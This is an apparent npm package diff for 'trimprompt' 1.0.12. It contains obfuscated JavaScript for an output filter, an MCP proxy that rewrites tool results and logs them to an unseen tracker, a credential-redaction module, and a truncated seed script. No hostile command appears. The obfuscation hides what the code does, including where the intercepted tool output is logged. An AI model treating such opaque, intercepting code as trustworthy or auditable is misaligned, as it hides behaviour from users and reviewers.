_0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](0x0,0x32)),_0x8bb85c['push'](_0x3fc643(0x1a5)+(_0x31ef41[_0x3fc643(0x1ae)]-0x50)+_0x3fc643(0x1b4)),_0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](-0x1e)),_0x8bb85c[_0x3fc643(0x19d)]('\x0a('+_0x31ef41[_0x3fc643(0x1ae)]+_0x3fc643(0x1ba)),_0x8bb85c['join']('\x0a');}function filterGrep(_0x4219bf){const _0x223056=a0_0x25a583,_0x22f3b2=_0x4219bf[_0x223056(0x1b7)]('\x0a')[_0x223056(0x199)](_0x5de914=>_0x5de914[_0x223056(0x1b9)]()[_0x223056(0x1ae)]>0x0);if(_0x22f3b2[_0x223056(0x1ae)]===0x0)return'No\x20matches\x20found';if(_0x22f3b2[_0x223056(0x1ae)]<=0x32)return _0x4219bf[_0x223056(0x1b9)]();const _0x53afe7={},_0x59623d=[];for(const _0x5aa178 of _0x22f3b2){const _0x5b196c=_0x5aa178[_0x223056(0x19b)](':');if(_0x5b196c>0x0&&_0x5b196c<0xc8){const _0x3d5d94=_0x5aa178[_0x223056(0x1a8)](0x0,_0x5b196c);if(_0x3d5d94[_0x223056(0x1a9)]('/')||_0x3d5d94[_0x223056(0x1a9)]('\x5c')||_0x3d5d94['includes']('.')){if(!_0x53afe7[_0x3d5d94])_0x53afe7[_0x3d5d94]=[];_0x53afe7[_0x3d5d94][_0x223056(0x19d)](_0x5aa178[_0x223056(0x1a8)](_0x5b196c+0x1)[_0x223056(0x1b9)]());continue;}}_0x59623d[_0x223056(0x19d)](_0x5aa178);}const _0x4f8cd7=[],_0x2358c6=Object[_0x223056(0x1bd)](_0x53afe7);if(_0x2358c6[_0x223056(0x1ae)]>0x0){const _0x30c56b=0x14,_0x277b0d=_0x2358c6['slice'](0x0,_0x30c56b);for(const _0x38e9ba of _0x277b0d){const _0x2e3597=_0x53afe7[_0x38e9ba];if(_0x2e3597[_0x223056(0x1ae)]<=0x3)for(const _0x50263f of _0x2e3597){_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x50263f);}else _0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x2e3597[0x0]),_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20...\x20('+_0x2e3597[_0x223056(0x1ae)]+_0x223056(0x1b0));}_0x2358c6[_0x223056(0x1ae)]>_0x30c56b&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x2358c6['length']-_0x30c56b)+'\x20more\x20files\x20with\x20matches');}if(_0x59623d['length']>0x0){const _0x434d22=0x1e;_0x4f8cd7[_0x223056(0x19d)](..._0x59623d[_0x223056(0x1b3)](0x0,_0x434d22)),_0x59623d[_0x223056(0x1ae)]>_0x434d22&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x59623d['length']-_0x434d22)+_0x223056(0x1a3));}const _0x355cdd=_0x22f3b2['length'];return _0x4f8cd7[_0x223056(0x19d)]('\x0a('+_0x355cdd+'\x20matches\x20across\x20'+(_0x2358c6['length']||'?')+'\x20files)'),_0x4f8cd7['join']('\x0a');}function a0_0x25ed(){const _0x2e643a=['21280248FWfYBp','\x20matches\x20in\x20this\x20file)','\x0a...\x20(','\x20more\x20directories','slice','\x20lines\x20truncated]\x20...\x0a','endsWith','7997600bmkJLy','split','total\x20','trim','\x20lines\x20total)','1566095lUyoIv','filterLs','keys','16Duwsng','defineProperty','7770763BXmoQM','filter','6820452OsgvTJ','indexOf','\x20directories,\x20','push','filterCat','4omQWzS','startsWith','join','3742776yzVAIC','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x0a...\x20[','Empty\x20directory','181462uugUhP','substring','includes','...\x20+','match','__esModule','\x20files)','length'];a0_0x25ed=function(){return _0x2e643a;};return a0_0x25ed();}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x423bac=a0_0xdc38;(function(_0x247b3b,_0x516a7c){const _0xfe7806=a0_0xdc38,_0x271ae0=_0x247b3b();while(!![]){try{const _0x3b87fa=parseInt(_0xfe7806(0x1b8))/0x1+parseInt(_0xfe7806(0x1b0))/0x2*(-parseInt(_0xfe7806(0x1d5))/0x3)+parseInt(_0xfe7806(0x1b4))/0x4+parseInt(_0xfe7806(0x1cb))/0x5*(parseInt(_0xfe7806(0x1b5))/0x6)+-parseInt(_0xfe7806(0x1c9))/0x7*(-parseInt(_0xfe7806(0x1b7))/0x8)+parseInt(_0xfe7806(0x1cc))/0x9*(parseInt(_0xfe7806(0x1b9))/0xa)+-parseInt(_0xfe7806(0x1c2))/0xb;if(_0x3b87fa===_0x516a7c)break;else _0x271ae0['push'](_0x271ae0['shift']());}catch(_0x1ea92d){_0x271ae0['push'](_0x271ae0['shift']());}}}(a0_0x3bd4,0x6d51b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x423bac(0x1d2)]?function(_0x80201c,_0x480e5b,_0x372bee,_0x3b3fa4){const _0x37c767=a0_0x423bac;if(_0x3b3fa4===undefined)_0x3b3fa4=_0x372bee;var _0x5c1361=Object[_0x37c767(0x1be)](_0x480e5b,_0x372bee);(!_0x5c1361||(_0x37c767(0x1c3)in _0x5c1361?!_0x480e5b[_0x37c767(0x1cf)]:_0x5c1361[_0x37c767(0x1db)]||_0x5c1361[_0x37c767(0x1ba)]))&&(_0x5c1361={'enumerable':!![],'get':function(){return _0x480e5b[_0x372bee];}}),Object[_0x37c767(0x1c5)](_0x80201c,_0x3b3fa4,_0x5c1361);}:function(_0xd86a8f,_0x2cb24e,_0x4385ce,_0x164c81){if(_0x164c81===undefined)_0x164c81=_0x4385ce;_0xd86a8f[_0x164c81]=_0x2cb24e[_0x4385ce];}),__setModuleDefault=this&&this[a0_0x423bac(0x1b6)]||(Object[a0_0x423bac(0x1d2)]?function(_0x25d951,_0x2ed0ea){const _0x31f35d=a0_0x423bac;Object[_0x31f35d(0x1c5)](_0x25d951,'default',{'enumerable':!![],'value':_0x2ed0ea});}:function(_0x373cd5,_0x1bc2d3){_0x373cd5['default']=_0x1bc2d3;}),__importStar=this&&this[a0_0x423bac(0x1d4)]||(function(){var _0x1e7e44=function(_0x218f7f){const _0x3d7c22=a0_0xdc38;return _0x1e7e44=Object[_0x3d7c22(0x1c7)]||function(_0x5b79e0){const _0x524dfd=_0x3d7c22;var _0x5176f5=[];for(var _0x16c9c7 in _0x5b79e0)if(Object[_0x524dfd(0x1c6)][_0x524dfd(0x1bb)]['call'](_0x5b79e0,_0x16c9c7))_0x5176f5[_0x5176f5[_0x524dfd(0x1da)]]=_0x16c9c7;return _0x5176f5;},_0x1e7e44(_0x218f7f);};return function(_0x4a5d7a){const _0x2d0abd=a0_0xdc38;if(_0x4a5d7a&&_0x4a5d7a[_0x2d0abd(0x1cf)])return _0x4a5d7a;var _0x177790={};if(_0x4a5d7a!=null){for(var _0x2c37d2=_0x1e7e44(_0x4a5d7a),_0x28abaa=0x0;_0x28abaa<_0x2c37d2[_0x2d0abd(0x1da)];_0x28abaa++)if(_0x2c37d2[_0x28abaa]!==_0x2d0abd(0x1cd))__createBinding(_0x177790,_0x4a5d7a,_0x2c37d2[_0x28abaa]);}return __setModuleDefault(_0x177790,_0x4a5d7a),_0x177790;};}());function a0_0x3bd4(){const _0x40d28a=['7846234uLHskL','get','pipe','defineProperty','prototype','getOwnPropertyNames','write','63gNPXYP','result','15emPtei','465561sLjIyh','default','parse','__esModule','logExecution','stdin','create','2.0','__importStar','1344162WMSnef','inherit','tracker','content','compressOutput','length','writable','spawn','readline','error','redaction_enabled','./filters','2GovJJb','createInterface','line','message','979260POXeYE','1508412nGbVbf','__setModuleDefault','164944pflnCh','269349pJPDsN','30VuOenD','configurable','hasOwnProperty','close','isArray','getOwnPropertyDescriptor','stdout','string','text'];a0_0x3bd4=function(){return _0x40d28a;};return a0_0x3bd4();}Object['defineProperty'](exports,a0_0x423bac(0x1cf),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x423bac(0x1dd))),filters_1=require(a0_0x423bac(0x1e0)),tracker_1=require('./tracker');function a0_0xdc38(_0x45a5b5,_0x552ea7){_0x45a5b5=_0x45a5b5-0x1b0;const _0x3bd48c=a0_0x3bd4();let _0xdc386=_0x3bd48c[_0x45a5b5];return _0xdc386;}function runMcpProxy(_0x578e14,_0x10dac0){const _0x2da153=a0_0x423bac,_0x1a6d50=(0x0,child_process_1[_0x2da153(0x1dc)])(_0x578e14,_0x10dac0,{'stdio':[_0x2da153(0x1c4),'pipe',_0x2da153(0x1d6)]});process[_0x2da153(0x1d1)][_0x2da153(0x1c4)](_0x1a6d50[_0x2da153(0x1d1)]);const _0x33a35f=readline[_0x2da153(0x1b1)]({'input':_0x1a6d50['stdout'],'terminal':![]});_0x33a35f['on'](_0x2da153(0x1b2),_0x321f96=>{const _0x350c95=_0x2da153;try{const _0x4aaae7=JSON[_0x350c95(0x1ce)](_0x321f96);if(_0x4aaae7&&_0x4aaae7['jsonrpc']===_0x350c95(0x1d3)&&_0x4aaae7['id']!==undefined&&_0x4aaae7[_0x350c95(0x1ca)]&&Array[_0x350c95(0x1bd)](_0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)])){let _0x48df1a=![];for(const _0x47f882 of _0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)]){if(_0x47f882['type']===_0x350c95(0x1c1)&&typeof _0x47f882[_0x350c95(0x1c1)]===_0x350c95(0x1c0)&&_0x47f882[_0x350c95(0x1c1)]['trim']()[_0x350c95(0x1da)]>0x0){const _0xda4532=_0x47f882[_0x350c95(0x1c1)],_0x19a87d=(0x0,filters_1[_0x350c95(0x1d9)])('mcp-tool-call',_0xda4532,'',tracker_1[_0x350c95(0x1d7)]['getConfig']()[_0x350c95(0x1df)]);tracker_1['tracker'][_0x350c95(0x1d0)]('mcp\x20tool\x20(id:\x20'+_0x4aaae7['id']+')',_0xda4532,_0x19a87d,0x0),_0x47f882['text']=_0x19a87d,_0x48df1a=!![];}}_0x48df1a?process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](JSON['stringify'](_0x4aaae7)+'\x0a'):process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}else process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}catch{process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](_0x321f96+'\x0a');}}),_0x1a6d50['on'](_0x2da153(0x1bc),_0xbecf2c=>{process['exit'](_0xbecf2c||0x0);}),_0x1a6d50['on']('error',_0x1bff58=>{const _0x5cef6b=_0x2da153;console[_0x5cef6b(0x1de)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x1bff58[_0x5cef6b(0x1b3)]),process['exit'](0x1);});}
1
+ 'use strict';const a0_0x335412=a0_0x54f3;(function(_0x16b73e,_0x157988){const _0x3ec430=a0_0x54f3,_0x22bdd8=_0x16b73e();while(!![]){try{const _0x159124=parseInt(_0x3ec430(0x1ea))/0x1+-parseInt(_0x3ec430(0x1d9))/0x2+parseInt(_0x3ec430(0x1c2))/0x3+-parseInt(_0x3ec430(0x1c4))/0x4+-parseInt(_0x3ec430(0x1f2))/0x5+parseInt(_0x3ec430(0x1e6))/0x6*(-parseInt(_0x3ec430(0x1e0))/0x7)+parseInt(_0x3ec430(0x1e9))/0x8*(parseInt(_0x3ec430(0x1d0))/0x9);if(_0x159124===_0x157988)break;else _0x22bdd8['push'](_0x22bdd8['shift']());}catch(_0x179435){_0x22bdd8['push'](_0x22bdd8['shift']());}}}(a0_0x5f0e,0x1f3cb));var __createBinding=this&&this[a0_0x335412(0x1eb)]||(Object[a0_0x335412(0x1dc)]?function(_0x2168ae,_0xb32b90,_0x40d775,_0x5e8a0c){const _0xec437=a0_0x335412;if(_0x5e8a0c===undefined)_0x5e8a0c=_0x40d775;var _0x76e345=Object[_0xec437(0x1f0)](_0xb32b90,_0x40d775);(!_0x76e345||(_0xec437(0x1cf)in _0x76e345?!_0xb32b90['__esModule']:_0x76e345['writable']||_0x76e345['configurable']))&&(_0x76e345={'enumerable':!![],'get':function(){return _0xb32b90[_0x40d775];}}),Object[_0xec437(0x1e5)](_0x2168ae,_0x5e8a0c,_0x76e345);}:function(_0x47f1c8,_0x13c409,_0xe28106,_0x23121a){if(_0x23121a===undefined)_0x23121a=_0xe28106;_0x47f1c8[_0x23121a]=_0x13c409[_0xe28106];}),__setModuleDefault=this&&this[a0_0x335412(0x1e1)]||(Object[a0_0x335412(0x1dc)]?function(_0x14137a,_0x2b0560){const _0x4220c4=a0_0x335412;Object[_0x4220c4(0x1e5)](_0x14137a,_0x4220c4(0x1de),{'enumerable':!![],'value':_0x2b0560});}:function(_0x2fbf89,_0x18bbf4){const _0x5b8afc=a0_0x335412;_0x2fbf89[_0x5b8afc(0x1de)]=_0x18bbf4;}),__importStar=this&&this['__importStar']||(function(){var _0x44df9d=function(_0x5a59e2){const _0x3730b3=a0_0x54f3;return _0x44df9d=Object[_0x3730b3(0x1d4)]||function(_0x4bde6d){const _0x4e0683=_0x3730b3;var _0x275146=[];for(var _0x27ef11 in _0x4bde6d)if(Object[_0x4e0683(0x1d3)][_0x4e0683(0x1e2)]['call'](_0x4bde6d,_0x27ef11))_0x275146[_0x275146['length']]=_0x27ef11;return _0x275146;},_0x44df9d(_0x5a59e2);};return function(_0x437077){const _0x5c95d4=a0_0x54f3;if(_0x437077&&_0x437077[_0x5c95d4(0x1d1)])return _0x437077;var _0x43a926={};if(_0x437077!=null){for(var _0x349af9=_0x44df9d(_0x437077),_0x4582fb=0x0;_0x4582fb<_0x349af9[_0x5c95d4(0x1ed)];_0x4582fb++)if(_0x349af9[_0x4582fb]!=='default')__createBinding(_0x43a926,_0x437077,_0x349af9[_0x4582fb]);}return __setModuleDefault(_0x43a926,_0x437077),_0x43a926;};}());Object['defineProperty'](exports,a0_0x335412(0x1d1),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x335412(0x1d5)),readline=__importStar(require(a0_0x335412(0x1f1))),filters_1=require(a0_0x335412(0x1c6)),tracker_1=require('./tracker');function a0_0x5f0e(){const _0x19c434=['spawn','length','result','close','getOwnPropertyDescriptor','readline','834405EYAoJR','81330SIiqbB','text','239240xSCyps','jsonrpc','./filters','trim','exit','stdout','mcp-tool-call','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','error','get','63WaBLrx','__esModule','write','prototype','getOwnPropertyNames','child_process','stringify','compressOutput','tracker','414576HLPKlc','string','content','create','mcp\x20tool\x20(id:\x20','default','pipe','564361uzZAbr','__setModuleDefault','hasOwnProperty','redaction_enabled','isArray','defineProperty','6BHtoFB','getConfig','parse','459872yPnSOJ','213051YsgaGX','__createBinding'];a0_0x5f0e=function(){return _0x19c434;};return a0_0x5f0e();}function a0_0x54f3(_0x4af3fb,_0x4901d0){_0x4af3fb=_0x4af3fb-0x1c2;const _0x5f0e4b=a0_0x5f0e();let _0x54f3f9=_0x5f0e4b[_0x4af3fb];return _0x54f3f9;}function runMcpProxy(_0x7eccc8,_0x5316c3){const _0x4265b9=a0_0x335412,_0x3ebe99=(0x0,child_process_1[_0x4265b9(0x1ec)])(_0x7eccc8,_0x5316c3,{'stdio':['pipe','pipe',_0x4265b9(0x1cb)]});process['stdin'][_0x4265b9(0x1df)](_0x3ebe99['stdin']);const _0x149c67=readline['createInterface']({'input':_0x3ebe99[_0x4265b9(0x1c9)],'terminal':![]});_0x149c67['on']('line',_0x485f46=>{const _0x398c17=_0x4265b9;try{const _0x1f1167=JSON[_0x398c17(0x1e8)](_0x485f46);if(_0x1f1167&&_0x1f1167[_0x398c17(0x1c5)]==='2.0'&&_0x1f1167['id']!==undefined&&_0x1f1167[_0x398c17(0x1ee)]&&Array[_0x398c17(0x1e4)](_0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)])){let _0x1b1447=![];for(const _0x5f4d41 of _0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)]){if(_0x5f4d41['type']===_0x398c17(0x1c3)&&typeof _0x5f4d41[_0x398c17(0x1c3)]===_0x398c17(0x1da)&&_0x5f4d41[_0x398c17(0x1c3)][_0x398c17(0x1c7)]()[_0x398c17(0x1ed)]>0x0){const _0x3fc481=_0x5f4d41[_0x398c17(0x1c3)],_0x581c23=(0x0,filters_1[_0x398c17(0x1d7)])(_0x398c17(0x1ca),_0x3fc481,'',tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1e7)]()[_0x398c17(0x1e3)]);tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1cd)](_0x398c17(0x1dd)+_0x1f1167['id']+')',_0x3fc481,_0x581c23,0x0),_0x5f4d41['text']=_0x581c23,_0x1b1447=!![];}}_0x1b1447?process[_0x398c17(0x1c9)]['write'](JSON[_0x398c17(0x1d6)](_0x1f1167)+'\x0a'):process['stdout']['write'](_0x485f46+'\x0a');}else process[_0x398c17(0x1c9)][_0x398c17(0x1d2)](_0x485f46+'\x0a');}catch{process['stdout'][_0x398c17(0x1d2)](_0x485f46+'\x0a');}}),_0x3ebe99['on'](_0x4265b9(0x1ef),_0x31ce71=>{const _0x443ff1=_0x4265b9;process[_0x443ff1(0x1c8)](_0x31ce71||0x0);}),_0x3ebe99['on'](_0x4265b9(0x1ce),_0x1fac68=>{const _0x44ca7b=_0x4265b9;console[_0x44ca7b(0x1ce)](_0x44ca7b(0x1cc)+_0x1fac68['message']),process[_0x44ca7b(0x1c8)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.11",
3
+ "version": "1.0.12",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1cc35b=a0_0x5743;(function(_0x5e690b,_0x42bdf0){const _0x37a5bc=a0_0x5743,_0x3766c2=_0x5e690b();while(!![]){try{const _0x410f90=-parseInt(_0x37a5bc(0xef))/0x1+parseInt(_0x37a5bc(0xf4))/0x2*(parseInt(_0x37a5bc(0x100))/0x3)+-parseInt(_0x37a5bc(0xfa))/0x4*(parseInt(_0x37a5bc(0xec))/0x5)+-parseInt(_0x37a5bc(0xf8))/0x6*(-parseInt(_0x37a5bc(0xf9))/0x7)+-parseInt(_0x37a5bc(0xfb))/0x8+parseInt(_0x37a5bc(0xfe))/0x9*(-parseInt(_0x37a5bc(0xfd))/0xa)+parseInt(_0x37a5bc(0xee))/0xb;if(_0x410f90===_0x42bdf0)break;else _0x3766c2['push'](_0x3766c2['shift']());}catch(_0x87df82){_0x3766c2['push'](_0x3766c2['shift']());}}}(a0_0x248f,0x3d994));Object[a0_0x1cc35b(0x101)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cc35b(0xf0)]=exports[a0_0x1cc35b(0xf2)]=void 0x0;class Redactor{['rules']=[];constructor(){this['loadDefaultRules']();}[a0_0x1cc35b(0xf3)](){const _0x46971c=a0_0x1cc35b;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x46971c(0xff)},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x46971c(0xf1)},{'name':_0x46971c(0x102),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x46971c(0xea)},{'name':_0x46971c(0xf7),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x46971c(0xf6)}];}[a0_0x1cc35b(0xf5)](_0x21a37f){const _0x3ce4dc=a0_0x1cc35b;let _0x4ff602=_0x21a37f;for(const _0xc19321 of this[_0x3ce4dc(0xeb)]){_0x4ff602=_0x4ff602[_0x3ce4dc(0xed)](_0xc19321['regex'],_0xc19321[_0x3ce4dc(0xfc)]);}return _0x4ff602;}}function a0_0x248f(){const _0x410d46=['$1:\x20[REDACTED_CREDENTIAL]','Redactor','loadDefaultRules','190rFgKYa','redact','[REDACTED_EMAIL]','Email\x20Address','12SBHToa','1213282HYPdJd','4EYhAOt','1794704niYMxL','replacement','2024410uRDVJA','18Azzumh','[REDACTED_DB_CONNECTION_STRING]','9420xjeiBb','defineProperty','IPv4\x20Address','[REDACTED_IP]','rules','1765675DnRGBg','replace','11632676vQBICl','467805hjvxsP','redactor'];a0_0x248f=function(){return _0x410d46;};return a0_0x248f();}function a0_0x5743(_0x3e0e84,_0x9ee959){_0x3e0e84=_0x3e0e84-0xea;const _0x248f6c=a0_0x248f();let _0x574334=_0x248f6c[_0x3e0e84];return _0x574334;}exports[a0_0x1cc35b(0xf2)]=Redactor,exports[a0_0x1cc35b(0xf0)]=new Redactor();
1
+ 'use strict';const a0_0x410d95=a0_0x2acc;(function(_0x18cd5e,_0x3c2839){const _0x2e40af=a0_0x2acc,_0x26499a=_0x18cd5e();while(!![]){try{const _0x3a5726=-parseInt(_0x2e40af(0x17f))/0x1*(parseInt(_0x2e40af(0x188))/0x2)+parseInt(_0x2e40af(0x191))/0x3+-parseInt(_0x2e40af(0x183))/0x4+-parseInt(_0x2e40af(0x18f))/0x5+-parseInt(_0x2e40af(0x17b))/0x6+-parseInt(_0x2e40af(0x18c))/0x7*(parseInt(_0x2e40af(0x18b))/0x8)+parseInt(_0x2e40af(0x185))/0x9*(parseInt(_0x2e40af(0x17e))/0xa);if(_0x3a5726===_0x3c2839)break;else _0x26499a['push'](_0x26499a['shift']());}catch(_0x5816ed){_0x26499a['push'](_0x26499a['shift']());}}}(a0_0x21ce,0x83c22));function a0_0x21ce(){const _0x343e4e=['518rHokKk','defineProperty','regex','4682900TQfgPl','IPv4\x20Address','36312DLVGoR','$1:\x20[REDACTED_CREDENTIAL]','[REDACTED_IP]','886002hhVAal','Redactor','Email\x20Address','33845230seNACf','753983Lwxjsv','replace','redact','redactor','3485228NQtAUz','replacement','9WHPVSc','loadDefaultRules','[REDACTED_EMAIL]','2TVFgZu','__esModule','rules','15936hBLnNn'];a0_0x21ce=function(){return _0x343e4e;};return a0_0x21ce();}Object[a0_0x410d95(0x18d)](exports,a0_0x410d95(0x189),{'value':!![]}),exports['redactor']=exports['Redactor']=void 0x0;class Redactor{[a0_0x410d95(0x18a)]=[];constructor(){this['loadDefaultRules']();}[a0_0x410d95(0x186)](){const _0x3a7bab=a0_0x410d95;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3a7bab(0x192)},{'name':_0x3a7bab(0x190),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3a7bab(0x17a)},{'name':_0x3a7bab(0x17d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3a7bab(0x187)}];}[a0_0x410d95(0x181)](_0x78c163){const _0x17ee8f=a0_0x410d95;let _0x1fe49b=_0x78c163;for(const _0x3f9ea6 of this['rules']){_0x1fe49b=_0x1fe49b[_0x17ee8f(0x180)](_0x3f9ea6[_0x17ee8f(0x18e)],_0x3f9ea6[_0x17ee8f(0x184)]);}return _0x1fe49b;}}function a0_0x2acc(_0x48e52c,_0x1b5d0e){_0x48e52c=_0x48e52c-0x17a;const _0x21ce7f=a0_0x21ce();let _0x2acc8b=_0x21ce7f[_0x48e52c];return _0x2acc8b;}exports[a0_0x410d95(0x17c)]=Redactor,exports[a0_0x410d95(0x182)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4ace25=a0_0x41dc;(function(_0x4e7421,_0x1430cd){const _0x2cfd28=a0_0x41dc,_0x3acaa2=_0x4e7421();while(!![]){try{const _0x1c07ff=parseInt(_0x2cfd28(0x9d))/0x1*(parseInt(_0x2cfd28(0x8c))/0x2)+parseInt(_0x2cfd28(0x89))/0x3+parseInt(_0x2cfd28(0x96))/0x4+parseInt(_0x2cfd28(0x99))/0x5*(parseInt(_0x2cfd28(0x8e))/0x6)+parseInt(_0x2cfd28(0xa7))/0x7+-parseInt(_0x2cfd28(0x8d))/0x8*(parseInt(_0x2cfd28(0x97))/0x9)+-parseInt(_0x2cfd28(0x93))/0xa;if(_0x1c07ff===_0x1430cd)break;else _0x3acaa2['push'](_0x3acaa2['shift']());}catch(_0x1f45a4){_0x3acaa2['push'](_0x3acaa2['shift']());}}}(a0_0x1faf,0x21180));function a0_0x1faf(){const _0x3e3461=['[INFO]\x20Building\x20modules...\x0a','log','Successfully\x20built\x20image.','test_auth.py\x20PASS\x0a','695049dMFazn','Step\x201/10\x20:\x20FROM\x20node:20\x0a','tracker','214OjUKuW','392lxYFtq','35754KrNRfv','Compilation\x20Output:\x0a','Optimizing\x20assets...\x0a','claude-3-opus','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','2942370RiQzCQ','defineProperty','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','918804kZFabY','48591thbvqw','Database\x20successfully\x20seeded!','20HTEOgh','gpt-4o','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','__esModule','1627LAEmxz','gemini-1-5-pro','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','npm\x20run\x20build','logExecution','repeat','./tracker','Test\x20suite\x20run\x20starting...\x0a','pytest\x20tests/app','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','245217lzoSTo'];a0_0x1faf=function(){return _0x3e3461;};return a0_0x1faf();}Object[a0_0x4ace25(0x94)](exports,a0_0x4ace25(0x9c),{'value':!![]});const tracker_1=require(a0_0x4ace25(0xa3));function a0_0x41dc(_0x10bc2e,_0x5a1560){_0x10bc2e=_0x10bc2e-0x87;const _0x1faf5f=a0_0x1faf();let _0x41dc2f=_0x1faf5f[_0x10bc2e];return _0x41dc2f;}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x91),tracker_1['tracker'][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa0),a0_0x4ace25(0x8f)+a0_0x4ace25(0xa8)+a0_0x4ace25(0x90)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),a0_0x4ace25(0xa6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9a),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa5),a0_0x4ace25(0xa4)+a0_0x4ace25(0x88)+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4ace25(0xa2)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x4ace25(0x95),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9e),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)]('docker\x20build\x20.',a0_0x4ace25(0x92)+a0_0x4ace25(0x8a)+a0_0x4ace25(0x9b)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x4ace25(0xa2)](0x3)+a0_0x4ace25(0x87),a0_0x4ace25(0x9f),0x0),console[a0_0x4ace25(0xa9)](a0_0x4ace25(0x98));
1
+ 'use strict';const a0_0x3eecdb=a0_0x3ff9;function a0_0x3ff9(_0x4b9f66,_0x2efa31){_0x4b9f66=_0x4b9f66-0x8c;const _0xd6a5c9=a0_0xd6a5();let _0x3ff99b=_0xd6a5c9[_0x4b9f66];return _0x3ff99b;}(function(_0x2efa0d,_0x4bb190){const _0x53e3b4=a0_0x3ff9,_0x572bb6=_0x2efa0d();while(!![]){try{const _0x2b3ba5=parseInt(_0x53e3b4(0xa9))/0x1+-parseInt(_0x53e3b4(0xaa))/0x2*(parseInt(_0x53e3b4(0x9f))/0x3)+-parseInt(_0x53e3b4(0xa6))/0x4+parseInt(_0x53e3b4(0xa7))/0x5+-parseInt(_0x53e3b4(0xa5))/0x6+parseInt(_0x53e3b4(0xa2))/0x7*(parseInt(_0x53e3b4(0xa8))/0x8)+parseInt(_0x53e3b4(0x8e))/0x9;if(_0x2b3ba5===_0x4bb190)break;else _0x572bb6['push'](_0x572bb6['shift']());}catch(_0x24cc05){_0x572bb6['push'](_0x572bb6['shift']());}}}(a0_0xd6a5,0xe8678));Object['defineProperty'](exports,a0_0x3eecdb(0x9e),{'value':!![]});function a0_0xd6a5(){const 